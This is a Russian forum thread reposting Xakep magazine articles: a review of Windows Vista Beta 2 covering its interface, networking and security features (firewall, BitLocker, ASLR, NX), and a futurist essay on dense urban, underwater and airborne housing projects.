Окно для настройки клавиатуры претерпело значительные изменения. Теперь помимо выбора раскладок клавиатуры (расположение клавиш, между прочим, можно просмотреть в отдельном окошке) можно указать язык для голосового ввода теста. Да-да, информацию не обязательно вводить вручную — достаточно воспользоваться системой распознавания речи. Штука поистине потрясающая! После небольшого обучающего тура система начнет записывать тест под диктовку идеально, а если даже и сомневается в каком-то слове, то выдает пронумерованный список возможных вариантов — от тебя лишь потребуется сказать номер правильного слова. Управлять системой через микрофон — одно удовольствие. Единственный минус — это отсутствие поддержки русского языка. Но ведь в релизе этот недостаток исправят…

Порадовала новая панель для управления звуком. Наконец-то в винде реализована возможность изменения громкости как для всей системы, так и для каждого приложения в отдельности. А вместо убогой программы для записи звука теперь интегрирована полноценная утилита, которая не в пример предшественницы может записывать сразу в формат WMA и не ограничивает запись по времени.

DirectX 10, разработанный специально для Vista, включает в себя столько нового, что всей статьи не хватит, чтобы пробежаться по этим инновациям. Правда, обещанное в 6 раз увеличение производительности мы сможем ощутить лишь в приложениях и девайсах, адаптированных под новую версию графического API. Сейчас же остается задуматься о режиме совместимости со старыми версиями DirectX, а также приложениями, их использующих. Такая совместимость, естественно, предусмотрена, но на деле показала себя не с лучшей стороны: некоторые современные игрушки работать под Vist’ой отказались.

Не буду тебя парить по поводу нового мультимедийного центра от Microsoft. Едва ли тебя удивишь возможностью просмотра DVD-дисков и т.д.

Сеть

С сетью у пользователей часто возникают различные проблемы. То интернет не работает, то браузинг тормозит. Честь и хвала парням из Microsoft, которые создали универсальный инструмент, готовый решить большинство потенциальных проблем обычных пользователей. Специально разработанный мастер в Network Center не только руководит настройкой сети, но и автоматически пытается настроить подключения к инету, а также исправить некорректные настройки сетевых подключений. Для домашних локалок с одним-единственным шлюзом в инет — это настоящая панацея от всех бед.

В сетевом центре всегда отображается схематическая карта топологии сети с ключевыми элементами (компьютер, шлюз, интернет и т.д.), а также обозначенными связями между ними. Если что-то не работает, то пользователь в большинстве случаев наглядно увидит, где именно произошла неполадка. Владельцам ноутбуков должна приглядеться поддержка сетевых профилей, позволяющая для каждой локалки обозначить IP-адрес, DNS и прокси-серверы, а также любые другие настройки, после чего быстро переключаться между ними. Особое внимание уделено именно беспроводным подключениям. В настройках даже можно указать адрес в формате IPv6 (это благодаря тому, что Vista полноценно поддерживает следующую версию протокола Internet Protocol (IP)). Ранее эта поддержка была частичной, и указать настройки можно было исключительно с помощью консольных команд.

Не могу не рассказать о новом Internet Explorer’е. Похоже, ребята из MS наконец-то решили сделать из ослика настоящий браузер. По крайней мере, результат работы на лицо: поддержка многовладочного режима, встроенный инструмент для чтения RSS-лент, блокировщик всплывающих окон и множество инструментов для защиты от всевозможной гадости. Зачет.

Безопасность

Microsoft обещает, что безопасность и надежность станут двумя важнейшими характеристиками, благодаря которым пользователи захотят приобрести Windows Vista. Действительно, парни приложили массу усилий, чтобы новая ось стала крепкой и здоровой. Например, сразу после установки, учетные записи пользователей ограничиваются в использовании Internet Exlorer. Полномочий хватает на просмотр исключительно веб-страничек. А сам IE запускается отдельным процессом с низкими привилегиями, тем самым ограждая пользователя от вредоносного контента и уявимостей, в том числе и ActiveX-компонентов. Все попытки провести атаку через IE, по идеи, закончатся неудачами, поскольку сам браузер будет обладать минимальными правами в системе.

Следующий пункт очень важен. Разработчики реализовали «человеческий» брандмауэр в Висте с фильтрованием как входящего, так и исходящего трафика. Консоль MMC, через которую реализовано управление файрволом, предоставляет больше возможностей по сравнению с ранним интерфейсом. Что особенно радует, так это то, что файрвол позволяет задать исключения для каждого отдельного пользователя, а также создать несколько профилей с настройками для разных сетей. Офигенная вещь с поддержкой IPv6, установкой шифрования трафика посредством IPSec- и Kerberos-аутентификации для заданных подключений. Спасти от такой заразы, как spy-модули, может еще и Windows Defender. Вкупе с файрволом прога непрерывно следит за теми областями системы, где обычно прописывает себя всевозможная зараза, и нейтрализует ее в случае обнаружения.

Еще одной функцией для обеспечения безопасности системы является технология Windows Service Hardening (повышение стойкости служб), которая предотвращает попытки сервисов несанкционированно выполнять операции с файловой системой, реестром и сетевыми настройками. Каждому сервису отныне присваивается идентификатор безопасности (Security identifier, SID), с помощью которого возможно не только разграничить внешний доступ самой службы, но и саму ее оградить от внешнего воздействия. Важно заметить, что большинство служб теперь запускаются не с системными привилегиями, а с помощью менее привилегированных аккаунтов, таких как Local Service или Network Service.

Для защиты конфиденциальной информации в Vista встроена технология BitLocker Drive Encryption, предназначенная для шифрования данных на системном разделе. Систему рекомендуется использовать совместно со специальным чипом Trusted Platform Module (TPM), в котором хранятся ключи для дешифрования информации. Однако возможна также аутентификация с помощью пароля или файла-ключа, расположенного на USB-флешке. Правда, активировать шифрования оказалось очень и очень непросто — в итоге помогла справка.

Всевозможные виды атак и, в первую очередь, переполнение буфера осуществить в Vista станет существенно сложнее из-за технологии случайного размещения кода в адресном пространстве (ASLR, Address Space Layout Randomization). Каждый раз при включении компьютера системой будут случайным образом меняться адреса начальных ячеек памяти с наиболее часто используемыми системными библиотеками. И если раньше разработанный для винды эксплоит отлично работал в аналогичной системе на другом компьютере, то технология ASLR эту возможность значительно затруднила. Подобный принцип уже давно реализован в системе OpenBSD.

Vista — эта первая операционная система в семействе Windows с полноценной поддержкой специального бита NX (No-Execute), присущего современным процессорам. С его помощью можно обозначить участки памяти, в которых расположены инструкции программы (то есть код) или же сегмента данных, которые ни в коем случае не подлежат выполнению. Этот принцип предотвращает использование ошибок, приводящих к выполнению произвольного кода.

Резюмирую. Хакерам, похоже, придется изрядно поломать голову, чтобы обойти все защитные уловки системы. Инжектировать и выполнять произвольный код будет уже не такой простой задачей, как раньше. Но ведь это даже интересней smile.gif.

Logout

Само собой, в рамках одной статьи невозможно рассказать о том огромном количестве нововведений, которые представлены в Windows Vista. Но мы попытались дать обзор самых сочных фишек, которые реально пригодятся тебе в деле. В любом случае, ты имеешь отличную возможность протестировать новую ось и определиться в том, что тебе действительно нужно.

DVD

На нашем DVD ты найдешь полную 32-битную версию Windows Vista Beta 2, а также Microsoft Office 2007 Beta 2.

INFO

У новой операционной системы, в отличие от Windows XP, будет не две, а сразу несколько комплектаций. Самая простая — Windows Vista Home Basic — будет стоить порядка 1000 рублей.

WWW

www.microsoft.com/rus/windowsvista — официальный сайт Windows Vista

www.microsoftgadgets.com — ресурс, посвященный гаджетам Windows SideBar

www.thevista.ru — русскоязычный проект о новой ОС Microsoft

www.winline.ru — отличный сайт по ОС семейства Windows

INFO

В переводе на русский язык vista означает «новые возможности», «открывающиеся перспективы». Парни из маркетингового отдела с названием ОС не прогадали: оно получилось звучным и запоминающимся.

Чего мы не дождемся.

Релиз Windows Vista запланирован на 1 января 2007 года, и в оставшиеся месяцы Microsoft, скорее всего, сконцентрирует усилия на поиске недочетов и багов. Едва ли в финальном релизе будут какие-либо изменения, поэтому можно смело огласить список тех вещей, которые в Vist'е не будут включены по умолчанию, хотя когда-то обещались.

* WinFS (Windows Future Storage) — новейшая система, построенная на тесной интеграции существующей NTFS и SQL Server 2005. Подобная связка позволит использовать поисковые запросы на интуитивном языке, типа «Показать все эксплоиты за 2006 год, использующие Buffer Overflow error», и практически мгновенно получить доступ к нужным файлам.

* Новый командный интерпретатор Windows PowerShell (кодовое название — Monad), о котором ты можешь прочитать в отдельной статье этого номера, также не будет включен в состав Vista из-за накладок в ходе разработки.

* PC-to-PC Sync — пиринговая технология для синхронизации каталогов на нескольких машинах. Удалена из системы, так как не отвечала требованиям качества. В будущем она может быть представлена как отдельное приложение.

Новые консольные утилиты

mklink — создает, модифицирует и удаляет символические ссылки. Да-да, теперь обращаться к файлам и директориям можно не только напрямую, но и с помощью виртуальной ссылки. Полный аналог симлинков из юникса.

bcdedit — прога для управления загрузчиком (конфигурационный файл boot.ini, в котором раньше располагались параметры загрузчика, больше не используется)

robocopy — расширенная утилита для копирования файлов и директорий

transaction — команда для использования возможностей Transactional NTFS





--------------------
Самые лучшие отзывы обо мне : [лопатой мозги вправить ], [Oбиженный жизнью заморыш],[ грубый и туповатый] , [не хватает интеллекта смотреть на мир шире. И все враги.], [озлобленный мальчик, помешанный на «членах» ] , [узколобость и шовинизм - это к имбецилам и другим болезням]
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
Metallica
сообщение Nov 20 2006, 08:22
Сообщение #32


Oбиженный жизнью заморыш
Group Icon

Группа: Administrators
Сообщений: 2 136
Регистрация: 4-August 06
Из: Матрица
Пользователь №: 504
Имя: TONY MONTANO
Настроение: KILL EM ALL
Заходит на форум с гостевика или полного инета.



Квартирный вопрос

Где и как будут жить люди в будущем, в условиях жесткого демографического кризиса

ЭПИГРАФ

«…Обыкновенные люди... в общем, напоминают прежних... квартирный вопрос только испортил их...»

М.А. Булгаков, «Мастер и Маргарита»

Массовая культура сильно влияет как на тебя в частности, так и на человечество вообще. Так влияет, что иногда довольно простая проблема, если ее вынести на суд общественности, вызывает поток неординарных и противоречивых решений. И в первую очередь это касается обсуждения и проектирования городов настоящего и ближайшего будущего.

Вот представь себе: живешь ты спокойно со своей девчонкой в однокомнатной квартире. Тут приезжает твой брательник-трудоголик и просит пожить у тебя месяц. Он, к примеру, крэйзи-электронщик, и целыми днями что-то паяет и дымит на весь флэт, на улицу его не выгонишь (считай, интим пропал), а выгнать вообще (по крайней мере, до обещанного срока) как-то неудобно. Твоя благоверная помешана на всякой мелкой и крупной живности: жучки, кошечки, цветочки. Все подоконники в квартире заняты под рассаду. Но ей этого мало, и рассадник постепенно переползает в комнату. Ты же любишь посидеть за компом, иногда посмотреть ящик и т.д., и т.п. Но через недельку замечаешь, что даже эти простые удовольствия у тебя отняли: брательник занимает стол своим хламом, постоянно стряхивая горячее олово и канифоль на подружкину рассаду. Подружка не лыком шита – переходит в ванную и там устраивает гидропарк. Ты срочно переоборудуешь балкон под конспиративную квартиру, чтобы хоть там спокойно посидеть с пивом. Но не тут-то было! Как раз к завершению твоих трудов по утеплению, застеклению и проведению на балкон оптоволокна приезжает вдруг твоя бабушка, которой надо постоянно что-то солить, мариновать и закатывать, и твой стратегический балкон ей идеально подходит в роли погреба, а оптоволокно – для подвязки помидоров. Подружкина рассада идет на засолку, брательник уже пятый раз перепаивает блок питания в твоем компе, приговаривая: «Ну, сейчас точно работать будет…». И через месяц, давясь бабкиными консервами с оптоволокном, рассадой и канифолью, ты понимаешь, как прекрасна жизнь.

Примерно такая же ситуация развивается вокруг глобального квартирного вопроса на нашем глобусе. Возникла довольно щекотливая ситуация: что делать и как жить, когда нас будет гораздо больше, чем сегодня. Земля-то не резиновая, следовательно, надо либо уходить под воду, либо зарываться в недра и там строить подземные пещеры, либо же вообще жить на воздушных замках. А можно продолжить благородные начинания небоскребостроителей и сделать из всей планеты один большой город.

То, что места всем не хватит, еще в XVIII веке открыл Томас Мальтус, основатель теории популяции. Он утверждал, что численность населения будет расти до тех пор, пока не столкнется с ограниченным предложением продуктов питания. Он заявил, что население растет в геометрической прогрессии, а предложение продуктов питания - в арифметической.

Следовательно, войны и эпидемии не только опасны и вредны, но и полезны, так как помогают регулировать количество народа на земном шаре.

Однако те слои прогрессивного человечества, которые в детстве читали Льва Толстого и Махатму Ганди, с этим не согласны – все жить хотят, поэтому лучше жить плохо и в тесноте, чем вообще никак. Опять-таки массовая культура.

Пришвин научил нас любить природу, поэтому прессоваться в каменные цитадели небоскребов нам не хочется. В довершение А.П.Чехов научил нас любить все прекрасное.

Как известно, самые испорченные культурой люди – творческие личности, к которым, естественно, относятся архитекторы. Поэтому результаты их работы по решению глобального квартирного вопроса довольно противоречивы, хотя и интересны.

Наращивание мускулов

Самый простой (правда, не технически) представленный способ решения демографической проблемы – полное освоение планеты и превращение всей ее жилой площади в стадо небоскребов. Сторонники классического небоскребостроения всеми силами стараются обеспечить нам с тобой безоблачное будущее. В прямом смысле этого слова. Во всяком случае, рядовой житель будущего Пекина практически не будет видеть неба. Это удовольствие будет доступно только богатым буратинам, которые будут проживать на самом верху километровых небоскребов-труб. Перестройка Пекина Beijing Boom Tower (BBT) к 2020-му году сейчас обсуждается, разрабатывается проект, и трубный вариант кажется самым подходящим для такого плотнонаселенного города.

Кроме простой перепланировки Пекина, проектирование супермегаполиса преследует другую цель: правительство Китая хочет узнать, как запихнуть как можно больше китайцев на квадратный метр площади и что они при этом будут чувствовать? Короче говоря – глобальный эксперимент. И Китай с его населением – идеальная для этого платформа.

Занимается этим группа архитекторов, инженеров и художников из нескольких стран, объединившихся в фонд "Динамичный город" (Dynamic City Foundation), со штаб-квартирой в Пекине.

На площади 0,06 квадратного километра ВВТ умещается 5 тысяч квартир, не считая многочисленных офисов, магазинов и иных общественных зон. Это возможно благодаря сети 60-этажных небоскребов-труб, которые сужаются кверху (для того чтобы к их основанию хоть когда-то попадал солнечный свет). BBT — это попытка переосмыслить город, создать среду, где будут парящие площади и небоскребы, сливающиеся у оснований, где транспорт обретет настоящую трехмерную свободу.

Кусочек такого Пекина архитекторы смоделировали на макете. А чтобы все могли почувствовать себя муравьями в муравейнике, разместили в разных точках макета миниатюрные камеры, транслирующие на большие экраны вид города глазами его жителей.

Результаты не воодушевляют. Можешь посмотреть сам. Жители нижних ярусов будут видеть синее небо и облака только в снах. Но зато этот город чертовски функционален. Транспортные магистрали простираются не только внизу, но и связывают на разных уровнях небоскребы-трубы. Буратины могут сразу же въехать к себе домой на машине по подземному путепроводу, связанному с нужным ярусом трубы-небоскреба. Жителям нижних ярусов будет тоже удобно: подземка доставит их непосредственно к основанию нужной трубы. Пешеходы и велосипедисты путешествуют внизу, среди череды рынков и лотков с едой. На втором уровне — "подземка".

Третий – путепроводы для машин, которые будут пронизывать небоскребы почти на всех уровнях, так что ты сможешь проехать из одной трубы в другую напрямую, через связывающие их галереи.

По совету канадских архитекторов, планируется создание еще одной, четвертой, магистрали движения – гигантской сети воздушных труб для велосипедистов – Velo-City.

Это такая связка труб, практически висящих в воздухе, по которым ты едешь на велосипеде, невзирая на погодные условия, не видя автомобилей, не страдая от загрязнений и прочих вещей.

Трубы будут сделаны главным образом из стекла, поэтому это будет похоже на поездку через длинный атриум. Задуманы три полосы движения, точно так же, как на шоссе: для медленной, умеренной и быстрой езды. Каждая труба имеет два направления движения, отделенных друг от друга. Это разделение снижает сопротивление воздуха и создает естественный попутный ветер. Таким образом, эффективность езды возрастает примерно до 90% — велосипедисты смогут ездить быстрее, развивая скорость до 50 км/час. Стеклянные трубы можно установить где угодно: нет никаких выхлопов, никакого шума и никакого вреда центру города они не причинят. Выезды из этих труб в самых разных ключевых точках много места не займут.

При таком раскладе богатые обитатели "верха" не будут нуждаться в визитах в сумеречный "низ". А обитатели "дна" никогда не поднимутся к свету. Фантасты нам такое уже рисовали.

Город-сад

Другой, более дружелюбный, но нестандартный подход заключается в объединении небоскребов и природы. Первыми об этом заговорили японцы, которые не мыслят свою жизнь без всякой икебаны. Они предложили строить небоскребы, в которых на каждом ярусе находится мини-сад с прудом или другая рекреационная зона. Короче говоря, новый проект можно будет смело назвать висячими садами Семирамиды ХХI века.

Занимается разработкой «зеленых проектов» компания Takenaka. Одно из ее предложений – зеленый город-небоскреб Sky City 1000. Высота Sky City составляет 1 километр при диаметре у основания 400 метров и вверху - 160 метров.

Все этажи башни сгруппированы в 14 блоков по 14 этажей. Каждый блок представляет собой вогнутую чашу, на "дне" которой расположена зеленая зона с живыми деревьями и не менее "живыми" прудами.

Между блоками имеются значительные просветы. Они выполняют двойную функцию: обеспечивают доступ воздуха к паркам города, а также играют роль противопожарных перегородок. Днище и стены каждого блока выполнены из огнеупорных материалов. Естественное освещение и открытый воздух создают комфортную среду обитания для 36-ти тысяч жителей. Многие из них здесь же и будут работать. Кроме того, в город каждый день будут приезжать 100 тысяч рабочих и служащих. И, естественно, туристы.

Общая обитаемая площадь Sky City составляет 800 гектаров, что вполне соответствует небольшому городку. При этом на парки и дороги приходится 240 гектаров — больше четверти общей площади
Учитывая то, что небоскребы и тотальная урбанизация – зло неизбежное, японский вариант более привлекателен, чем китайские трубы. Таких же человеколюбивых взглядов придерживаются и корейские урбанисты-архитекторы.

В 2015-2017-х годах завершится строительство самого высокотехнологичного города на Земле – Нью-Сонгдо (New Songdo City). Самое интересное состоит в том, что весь город полностью спроектировали с нуля и с нуля же и начали строить. Фактически это первая попытка в истории человечества спроектировать и построить с нуля целый город. Займет он площадь в 5,57 квадратных километра. Строительство обойдется в $25 миллиардов. А жить в нем постоянно будут 500 тысяч человек. Расположится Нью-Сонгдо в 64 километрах от Сеула, на берегу моря. Он будет частично стоять на воде, как Венеция. Собственно, его уже и называют азиатской Венецией XXI века.

Южнокорейские политики и бизнесмены намерены превратить Нью-Сонгдо в один из самых мощных деловых центров Азии, подобно тому, как столетие назад Венеция была одним из торговых центров Европы.

Кроме красоты, зелени, приятной обстановки и отсутствия километровых муравейников, в этой бочке меда плавает капелька того, о чем ты подумал.

Большой Брат

Знаешь, зачем составляли проект высокотехнологичного города Нью-Сонгдо? Все очень просто: для того, чтобы следить за всеми его жителями. Все строения связаны в локальную сеть, которой управляет суперкомпьютер, обрабатывающий все данные о состоянии домов и передвижении жителей. Если ты пенсионер и тебе вдруг поплохело, ты вырубился и упал – сверхчувствительный пол сразу же даст сигнал медицинскому компьютеру дома, тот сканирует микросенсоры, находящиеся в твоей одежде, и, если ты действительно так плох, вызывает через суперкомпьютер неотложку. Правда, непонятно, что такая система будет делать, если ты далеко не старпер и просто решил развлечься на полу с подружкой?

И это только цветочки. Всем жителям дают карточки-идентификаторы (паспорт, бумажник, права, ключ от квартиры и машины в одном лице). Естественно, на карточке будет RFID-метка и ряд других кодов, что позволит следить за тобой, хотя проектанты говорят, что этого делать никто не собирается (поверили мы им, как же).

Постройка корейского города Нью-Сонгдо задумывается не только как продажа недвижимости оптом строительными компаниями. Это еще и большой эксперимент, который покажет, трудно ли жить в обществе, где на тебя стучит даже твой сортир. Чтобы народ все-таки захотел жить в этом городе, архитекторы спланировали очень удобный и красивый план застройки. В нем будут не только международные школы, больницы, аптеки и музей, но и разветвленная сеть каналов ("Венеция-XXI" же). Вдобавок разные вкусности: океанариум, поле для гольфа, кафе, магазины, парк, множество офисных центров и несколько гостиниц.

Естественно, первым делом город оккупируют всяческие любители взлома wink.gif. Надеюсь, мы еще услышим о сетевых баталиях по взлому гостиниц, снятию наличности и т.д. Об этом мы узнаем довольно скоро: первая фаза строительства (центр города) должна быть завершена в 2008-м году, а полностью Нью-Сонгдо будет возведен в 2014-2015-х годах. Некоторым проектантам мало и тотального контроля. Им нужно тотальное подчинение. Например, как часто ты бываешь в супермаркете? Удобно затариться по полной программе и недельку не отвлекаться от любимых занятий. А слабо переехать туда жить?

Вот, к примеру, суммарная площадь американских супермаркетов Wal-Mart занимает ....

Вот некоторые архитекторы и хотят использовать пустующее место на крышах этих торговых монстров. Не пропадать же добру! Идея проста: на первом этаже делаем супермаркет, а на втором – строим дома и, вообще, возводим обычный город. Этот монстр назвали Waltropolis’ом – от названия супермаркета Wal-Mart и, вообще, название города по-гречески – polis.

Только чтобы ты понял, что ничего хорошего в этом не предвиделся, я представлю тебе немного проектной статистики. Габариты здания: 11 километров на 1,6 километра при высоте 90 метров. 10 уровней для всех сторон жизни: от торговли до образования. Постоянное население – 100 тысяч человек. 18 квадратных километров крыши Waltropolis должны быть покрыты живописной россыпью отдельных коттеджей, стоящих среди зеленых насаждений и парковых дорожек – в точности, как привыкла "одноэтажная" Америка.

Скрытые внизу автостоянки рассчитаны на 2,5 автомобиля на каждую семью горожан. Вдоль фасада мегаздания идет шоссе (это, кстати, одна из ключевых магистралей между Штатами. На таких трассах и предполагается строить эти города), с которых есть въезды на стоянки и, вообще, на разные уровни сооружения. Многочисленные грузовики, доставляющие в город все необходимое для жизни, разгружаются снаружи: по краю здания расположены специальные площадки (в несколько уровней). С них товары поднимаются на нужные этажи по разветвленной системе конвейеров, продолжающихся и глубоко внутри здания. Создается впечатление, что это скорее один огромный комбинат, занятый поддержанием своей инфраструктуры, чем жилище для людей.

Тут не только тотальный контроль, тут еще попахивает ограничением свободы выбора: попробуй купить что-то, выходящее за номенклатуру Waltropolis! Неудивительно, что продвижение этого проекта выгодно в первую очередь крупным финансовым магнатам, которые постоянно ведут войну за рынок сбыта. А тут весь рынок сбыта охвачен и подчинен полностью одной торговой структурой.

Вспоминая Жюля Верна

Возвращаемся к массовой культуре. Наверное, все, кто читал в детстве Жюля Верна – в основном подводные приключения капитана Немо, – мечтал хотя бы некоторое время пожить именно так.

Надо сказать, что часть людей, по профессии сталкивающаяся с работой на глубине, давно прочувствовала на себе «прелести» подводной жизни: кислородное голодание, авитаминоз, кессонная болезнь. Но вообще проблему жизни под водой всерьез никто не ставил, так как на «мелководных» станциях все более-менее в порядке, а на глубоководных – единицы, и дешевле выплатить компенсацию за профзаболевание жителю, чем реструктурировать подводную базу целиком. Для туриста же подводные путешествия – золотое дно. Поэтому двое ученых-исследователей захотели нажиться на благородном стремлении к дайвингу у населения. Приобщить массы к жизни под водой оказалось проще пареной репы: берется старая исследовательская лаборатория и переоборудуется под гостиницу. Все довольны: и туристы, и хозяева гостиницы.

Поселиться и пожить несколько дней под водой можно уже сегодня. "Подводный Домик Жюля" (Jules Undersea Lodge) расположился на глубине примерно 6,5 метров у берега Флориды, в живописном местечке Key Largo, где подводная обстановка богата разнообразнейшей флорой и фауной.

А сравнительно недалеко от Jules находится единственная в мире действующая подводная обитаемая лаборатория Aquarius (Jules когда-то тоже был научно-исследовательской станцией).

Пусть в Jules - всего две спальни, но это пока единственное место на планете, где можно за деньги снять номер под водой и провести в нем сколь угодно много времени, совершая вылазки в подводный мир. Длина подводного домика равна 15,24 метра, ширина — 6,1 метра, а высота — 3,35 метра.

Вход в отель — это открытый кусочек пола (мини-бассейн). Сам Домик стоит на ножках, и между дном и его полом есть просвет. Давление воздуха в отеле повышенное, точно соответствующее глубине, потому вода не поднимается дальше.

Добираться до отеля нужно в акваланге. Кстати, номер тебе дадут только в том случае, если покажешь сертификат дайвера. Выходы наружу можно совершать сколько угодно раз (декомпрессии-то потом не требуется). И вовсе без акваланга, кстати. Людям, гуляющим по дну, воздух подают из отеля по 30-метровому шлангу. Кроме изумительной природы, гости отеля могут полюбоваться искусно воссозданным "испанским галеоном", намеренно затопленным тут хозяевами отеля, и попрактиковаться в подводной археологии. Но главное — это 107-сантиметровый иллюминатор напротив кровати, мимо которого проплывают рыбки. Однако пожить под водой – удовольствие не из дешевых. Ночь в Домике стоит $395 с человека. Но, несмотря на столь высокие цены, заказывать номер надо за несколько месяцев – он никогда не пустует.

Прогресс не стоит на месте. Неудивительно, что при появлении технической возможности построить «небоскреб» под водой за это взялись сразу несколько компаний, в разных точках земного шара. Например, глава проекта подводной гостиницы на 20 мест "Посейдон" (Poseidon) Брюс Джонс (Bruce Jones) получил недавно $40 миллионов от инвесторов, чтобы начать строительство роскошного отеля, в котором комнаты будут погружены более чем на 15 метров под воду. Этот пятизвездочный отель должен покоиться на океанском дне, у берега острова Элеутера на Багамах.

В отличие от "Домика Жюля", гости Посейдона не должны будут надевать подводный костюм и акваланг, чтобы попасть в отель. Все будет цивильно – лифт с поверхности доставит под воду всех желающих. В роскошные номера ($1,5 тысячи за ночь, это даже не $395!) постояльцы попадут по внутреннему эскалатору. Естественно, давление в отеле будет обычным, атмосферным, что исключает возникновение кессонной болезни. Все наружные стены отеля планируют сделать прозрачными благодаря современным полимерным материалам. Так создастся впечатление, что ты на самом деле живешь под водой.

Издательский дом ООО "Гейм Лэнд" ЖУРНАЛ ХАКЕР #90, ИЮНЬ 2006 г.


Квартирный вопрос

Юрий Свидиненко aka Lazarus

Хакер, номер #090, стр. 090-046-7


--------------------------------------------------------------------------------

Мало того – у каждой жилой комнаты площадью 51 м2 будут огромные прозрачные акриловые окна, открывающие роскошный вид на коралловые сады. Номера будут оснащены джакузи и другими вкусностями, без которых не обходится ни один люкс. Пульты управления позволят постояльцам включать и выключать освещение дна близ своего номера и даже дистанционно кормить рыбок, привлекая их к окнам.

Внутри этот отель совсем не будет походить на внутренние отсеки какой-нибудь субмарины. В отделке здесь будут использованы дорогие ткани, кожа и мрамор. А большой ресторан гостиницы будет совершать один оборот вокруг своей оси за час, позволяя обедающим не сходя с места увидеть все достопримечательности близлежащего дна. Не будем сомневаться в том, что в отеле будет шлюзовая камера для аквалангистов и прогулочная субмарина.

Другой проект арабских шейхов – настоящий подводный город. Вместо 20-ти мест в Посейдоне Гидрополис, строящийся сейчас в Дубаи на берегу Персидского залива, предложит 220! И по демократичным ценам: жить на глубине 20 метров в люксе с высококлассным обслуживанием будет стоить всего $500 за ночь (это не аскетичный Домик Жюля). На закуску – подводные концертный зал, танцзал и ресторан (ну и, естественно, подводные сады, субмарины, прогулки с аквалангом и т.п.).

Гидрополис станет самым роскошным и впечатляющим подводным зданием. Достаточно сказать, что его подводная площадь (не считая наземной части, где будет расположена, например, стойка администратора) составит 75 тысяч квадратных метров.

Но самым главным и самым притягательным сооружением Гидрополиса будет танцевальный зал, купол которого будет частично выходить из-под воды, открывая гостям одновременно вид и на подводный мир, и на небо, а в его вершине красивыми ночами может открываться окно, давая возможность звукам и свету проникать "на дно отеля". Эта красота подкреплена современным оборудованием лазерной подсветки. В общем, постояльцы Гидрополиса скучать не будут.

Воздушные замки

Небо тоже еще не до конца освоено – так считает большинство футуристов. Но осваивать его «по полной» невыгодно – слишком мало тогда света будут получать жители и так темных техноскребов.

Самый лучший вариант, который позволит переселить часть людей с земли на небеса – мобильные летающие мини-города.

Ты, может, знаешь о трагической судьбе мегадирижабля «Гиндербург», который сто лет назад взорвался на финише первого воздушного трансатлантического рейса. После этой трагической случайности к дирижаблям (хоть они уже и летают на невзрывоопасном гелии) относятся с опаской. А зря, ведь они – основа «небесного царства».

Только представь себе: летающая гостиница для 250-ти богатых пассажиров. На борту корабля-отеля длиной в два футбольных поля есть все, включая рестораны и казино. Это уже не назовешь дирижаблем, скорее это – летающий отель Aeroscraft.


Несмотря на то, что этот монстр тяжелее воздуха, его 396 тысяч кубометров гелия поднимают две трети веса — взлететь кораблю с 400-тонным полезным грузом помогают шесть турбовентиляторных реактивных двигателей. Двигаясь со скоростью 280 км/час, судно может пересечь континентальные Штаты примерно за 18 часов, а вообще диапазон действия Aeroscraft – около 10-ти тысяч км.

Размеры корабля впечатляют: высота - 50 метров, ширина - 74 метра, длина - 197 метров. Но притом, что это воздушное судно крупнее любого авиалайнера, ему на земле требуется меньше места, чем любому другому самолету, потому что Aeroscraft не нуждается во взлетно-посадочной полосе: он взлетает и приземляется, как вертолет. В том числе – на снег или воду. Самое интересное, что придумал такое чудо наш соотечественник Игорь Пастернак, который после развала совка уехал в США и там организовал свою фирму - Aeros. По оценкам Пастернака, строительство отеля Aeroscraft обойдется примерно в $46 миллионов. 150-местный Boeing 737 стоит столько же, но его эксплуатация стоит вдвое дороже. Aeroscraft сейчас находится на ранних стадиях развития опытного образца, но, как ожидается, полностью проект будет закончен к 2010-му году — несколько компаний выразили уже свой интерес, и в первую очередь военные – для транспорта техники и пехоты.

Об орбитальных гостиницах мы вскользь упоминали в мартовском выпуске Импланта. Эта тема еще не проработана как следует, и, возможно, переселение на орбиту реально начнется при будущей экспансии человечества в космос.

Как видишь, при грамотном использовании места можно еще жить и жить. Только одно дело жить в тесном муравейнике без света, а другое – в зеленой башне или в красивом городе под водой. При грамотном подходе место найдется и для брательника, и для подруги, и для бабки, вот только не все у нас в мире делают по-грамотному. Так что смотри в оба, чтобы в один день ты не проснулся в супермаркете wink.gif.

Первый город будущего хотел построить еще Уолт Дисней…

В ноябре 1965-го года Уолт Дисней объявил, что купил-таки землю своей мечты — болото неподалеку от Орландо, во Флориде. Выступая на пресс-конференции по поводу этого радостного для себя события, Дисней намекнул, что хочет на новоприобретенном участке построить нечто большее, чем очередной Диснейленд. И действительно, впоследствии выяснилось, что Дисней в строжайшей тайне занимался любимым проектом, который в приватных беседах называл Project X.

Город будущего EPCOT планировался как сердце Мира Диснея — гигантского Disney World, общая площадь которого 43 квадратные мили (около 70 квадратных км), что вдвое больше Манхеттена. Он должен был быть абсолютно круглым, как колесо. Да, Дисней с колесом радиальный план и сравнивает. По замыслу Диснея, в городе должны были быть 30-этажная гостиница и деловой центр, магазины, театры, рестораны, ночные клубы, жилые и офисные здания — полностью закрытая окружающая среда с минимумом движения внутри. Точнее, так: в центре колеса — главный небоскреб. Потом зеленое кольцо, а затем — жилая пригородная зона. Сообщение между центром и периферией осуществляется как по "спицам колеса", так и по "кольцевой". Через весь город поперек проходит слева направо центральная магистраль.

Но притом, что королем дорог был объявлен пешеход, жителей совершенного города предполагалось обеспечить самыми современными и экологически чистыми видами транспорта: высокоскоростными монорельсовыми дорогами, человековозами ("People Movers"), электрическими такси типа конвейера и тому подобным. Где-то должен был быть и аэропорт будущего.

Так или иначе, но экспериментальное сообщество завтрашнего дня не появилось. Уолт Дисней скончался от рака легких 15 декабря 1966-го года.

Говорят, что реальный EPCOT, построенный после смерти Диснея, но не соответствующий грандиозности его замыслов, остается замороженным.





--------------------
Самые лучшие отзывы обо мне : [лопатой мозги вправить ], [Oбиженный жизнью заморыш],[ грубый и туповатый] , [не хватает интеллекта смотреть на мир шире. И все враги.], [озлобленный мальчик, помешанный на «членах» ] , [узколобость и шовинизм - это к имбецилам и другим болезням]
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
Metallica
сообщение Nov 20 2006, 11:00
Сообщение #33


Oбиженный жизнью заморыш
Group Icon

Группа: Administrators
Сообщений: 2 136
Регистрация: 4-August 06
Из: Матрица
Пользователь №: 504
Имя: TONY MONTANO
Настроение: KILL EM ALL
Заходит на форум с гостевика или полного инета.



Драгоценные камни

Тестирование современных процессоров от AMD

